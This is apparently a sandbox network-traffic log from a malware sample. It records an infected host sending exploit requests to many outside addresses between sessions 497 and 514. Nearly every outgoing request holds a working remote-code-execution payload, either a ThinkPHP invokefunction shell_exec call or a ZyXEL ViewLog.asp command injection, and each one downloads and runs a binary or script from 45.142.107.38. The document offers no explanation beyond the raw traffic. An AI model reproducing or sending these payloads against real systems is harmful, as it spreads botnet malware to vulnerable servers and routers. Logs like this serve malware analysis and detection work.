Mar 4, 2024 15:07:40.895726919 CET	325	IN	HTTP/1.1 400 Bad Request Server: kittenx/1.18.0 Date: Mon, 04 Mar 2024 14:07:40 GMT Content-Type: text/html Content-Length: 159 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	48272	95.47.249.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.696333885 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	59376	85.122.222.89	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.745544910 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:41.278279066 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	58082	31.179.139.150	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.771068096 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:40.978858948 CET	551	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 15:07:28 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Pragma: no-cache Cache-Control: must-revalidate Cache-Control: no-cache Cache-Control: no-store Expires: 0 Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	44610	94.123.98.116	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.783015013 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	32812	94.121.34.165	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.783143997 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	53990	62.29.101.18	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.783386946 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	44896	94.120.61.13	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:40.784133911 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	42958	62.171.150.84	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:41.157485008 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:41.356554031 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	53818	94.121.190.30	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:41.190700054 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	43580	94.120.245.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:41.209333897 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	46882	62.234.217.200	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:42.329319000 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:44.407004118 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:44.815618992 CET	144	IN	HTTP/1.1 404 Not Found date: Mon, 04 Mar 2024 14:07:44 GMT server: uvicorn content-length: 22 content-type: application/json

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	40706	95.101.195.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.637001991 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:43.810441017 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:43 GMT Date: Mon, 04 Mar 2024 14:07:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 35 34 62 63 37 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 32 36 33 26 23 34 36 3b 31 30 30 30 32 33 33 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.254bc717.1709561263.10002334</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.13	34062	95.217.158.208	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.653316975 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:43.847105980 CET	435	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:43 GMT Server: Apache/2.4.37 (centos) OpenSSL/1.1.1g Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.13	33394	95.73.86.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.667265892 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:44.790960073 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:46.102905035 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:48.855027914 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:54.230936050 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:04.726973057 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:25.462866068 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.13	50504	95.213.232.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.670516014 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:43.879805088 CET	355	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 04 Mar 2024 14:07:43 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.13	42838	88.19.69.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.714446068 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:43.944164991 CET	314	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 14:07:43 GMT Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.13	36266	95.86.76.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.934792042 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.13	41756	31.136.129.229	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.936234951 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:44.503139973 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:45.591135025 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:47.830916882 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.183129072 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
